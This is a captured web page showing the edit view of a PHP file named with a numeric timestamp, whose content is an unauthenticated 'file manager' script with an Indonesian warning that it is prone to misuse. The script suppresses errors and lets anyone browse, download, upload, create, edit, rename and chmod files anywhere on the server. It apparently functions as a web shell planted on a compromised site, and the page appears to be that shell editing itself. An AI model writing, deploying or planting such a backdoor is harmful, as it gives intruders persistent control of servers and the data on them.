<form method="POST">
    <h3>Editing: 1755235459.php</h3>
    <textarea name="content" rows="20" cols="80">&lt;?php
/**
 * Simple PHP File Manager
 * !! Gunakan dengan hati-hati, rawan untuk disalahgunakan !!
 * Simpan file ini sebagai filemanager.php dan akses dari browser.
 */

error_reporting(0);
set_time_limit(0);

function list_dir($dir) {
    $files = scandir($dir);
    echo &quot;&lt;h3&gt;Listing: $dir&lt;/h3&gt;&quot;;
    echo &quot;&lt;ul&gt;&quot;;
    foreach ($files as $file) {
        $path = $dir . '/' . $file;
        if ($file == '.') {
            echo &quot;&lt;li&gt;&lt;a href='?dir=&quot; . urlencode(realpath($dir)) . &quot;'&gt; . (current)&lt;/a&gt;&lt;/li&gt;&quot;;
        } elseif ($file == '..') {
            echo &quot;&lt;li&gt;&lt;a href='?dir=&quot; . urlencode(dirname($dir)) . &quot;'&gt; .. (parent)&lt;/a&gt;&lt;/li&gt;&quot;;
        } else {
            if (is_dir($path)) {
                echo &quot;&lt;li&gt;[DIR] &lt;a href='?dir=&quot; . urlencode(realpath($path)) . &quot;'&gt;$file&lt;/a&gt;&lt;/li&gt;&quot;;
            } else {
                echo &quot;&lt;li&gt;[FILE] &lt;a href='?dir=&quot; . urlencode($dir) . &quot;&amp;file=&quot; . urlencode($file) . &quot;'&gt;$file&lt;/a&gt; | &lt;a href='?dir=&quot; . urlencode($dir) . &quot;&amp;download=&quot; . urlencode($file) . &quot;'&gt;Download&lt;/a&gt;&lt;/li&gt;&quot;;
            }
        }
    }
    echo &quot;&lt;/ul&gt;&quot;;
}

function upload_file($dir) {
    if (isset($_FILES['upload'])) {
        $file_name = basename($_FILES['upload']['name']);
        $dest = $dir . '/' . $file_name;
        if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) {
            echo &quot;&lt;p&gt;Upload success: $file_name&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;Upload failed!&lt;/p&gt;&quot;;
        }
    }
    echo &lt;&lt;&lt;FORM
&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
    Upload file: &lt;input type=&quot;file&quot; name=&quot;upload&quot;&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Upload&quot;&gt;
&lt;/form&gt;
FORM;
}

function create_file($dir) {
    if (isset($_POST['newfile'])) {
        $newfile = $_POST['newfile'];
        file_put_contents($dir . '/' . $newfile, '');
        echo &quot;&lt;p&gt;File created: $newfile&lt;/p&gt;&quot;;
    }
    echo &lt;&lt;&lt;FORM
&lt;form method=&quot;POST&quot;&gt;
    New file name: &lt;input type=&quot;text&quot; name=&quot;newfile&quot;&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Create File&quot;&gt;
&lt;/form&gt;
FORM;
}

function create_folder($dir) {
    if (isset($_POST['newfolder'])) {
        $newfolder = $_POST['newfolder'];
        mkdir($dir . '/' . $newfolder);
        echo &quot;&lt;p&gt;Folder created: $newfolder&lt;/p&gt;&quot;;
    }
    echo &lt;&lt;&lt;FORM
&lt;form method=&quot;POST&quot;&gt;
    New folder name: &lt;input type=&quot;text&quot; name=&quot;newfolder&quot;&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Create Folder&quot;&gt;
&lt;/form&gt;
FORM;
}

function edit_file($dir, $file) {
    $filepath = $dir . '/' . $file;
    if (isset($_POST['content'])) {
        file_put_contents($filepath, $_POST['content']);
        echo &quot;&lt;p&gt;File saved: $file&lt;/p&gt;&quot;;
    }
    $content = htmlspecialchars(file_get_contents($filepath));
    echo &lt;&lt;&lt;FORM
&lt;form method=&quot;POST&quot;&gt;
    &lt;h3&gt;Editing: $file&lt;/h3&gt;
    &lt;textarea name=&quot;content&quot; rows=&quot;20&quot; cols=&quot;80&quot;&gt;$content&lt;/textarea&gt;&lt;br&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Save&quot;&gt;
&lt;/form&gt;
FORM;
}

function rename_file($dir) {
    if (isset($_POST['oldname']) &amp;&amp; isset($_POST['newname'])) {
        $old = $dir . '/' . $_POST['oldname'];
        $new = $dir . '/' . $_POST['newname'];
        rename($old, $new);
        echo &quot;&lt;p&gt;Renamed: {$_POST['oldname']} -&gt; {$_POST['newname']}&lt;/p&gt;&quot;;
    }
    echo &lt;&lt;&lt;FORM
&lt;form method=&quot;POST&quot;&gt;
    Old name: &lt;input type=&quot;text&quot; name=&quot;oldname&quot;&gt;
    New name: &lt;input type=&quot;text&quot; name=&quot;newname&quot;&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Rename&quot;&gt;
&lt;/form&gt;
FORM;
}

function chmod_file($dir) {
    if (isset($_POST['file']) &amp;&amp; isset($_POST['perm'])) {
        $file = $dir . '/' . $_POST['file'];
        chmod($file, octdec($_POST['perm']));
        echo &quot;&lt;p&gt;CHMOD success: {$_POST['file']} -&gt; {$_POST['perm']}&lt;/p&gt;&quot;;
    }
    echo &lt;&lt;&lt;FORM
&lt;form method=&quot;POST&quot;&gt;
    File/Folder: &lt;input type=&quot;text&quot; name=&quot;file&quot;&gt;
    Permission (e.g. 0755): &lt;input type=&quot;text&quot; name=&quot;perm&quot;&gt;
    &lt;input type=&quot;submit&quot; value=&quot;CHMOD&quot;&gt;
&lt;/form&gt;
FORM;
}

$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    edit_file($dir, $file);
} elseif (isset($_GET['download'])) {
    $file = $_GET['download'];
    $filepath = $dir . '/' . $file;
    if (file_exists($filepath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=&quot;'.basename($filepath).'&quot;');
        header('Content-Length: ' . filesize($filepath));
        readfile($filepath);
        exit;
    } else {
        echo &quot;File not found!&quot;;
    }
} else {
    echo &quot;&lt;h2&gt;PHP File Manager&lt;/h2&gt;&quot;;
    echo &quot;&lt;p&gt;Current Directory: $dir&lt;/p&gt;&quot;;
    list_dir($dir);
    upload_file($dir);
    create_file($dir);
    create_folder($dir);
    rename_file($dir);
    chmod_file($dir);
}
?&gt;
</textarea><br>
    <input type="submit" value="Save">
</form>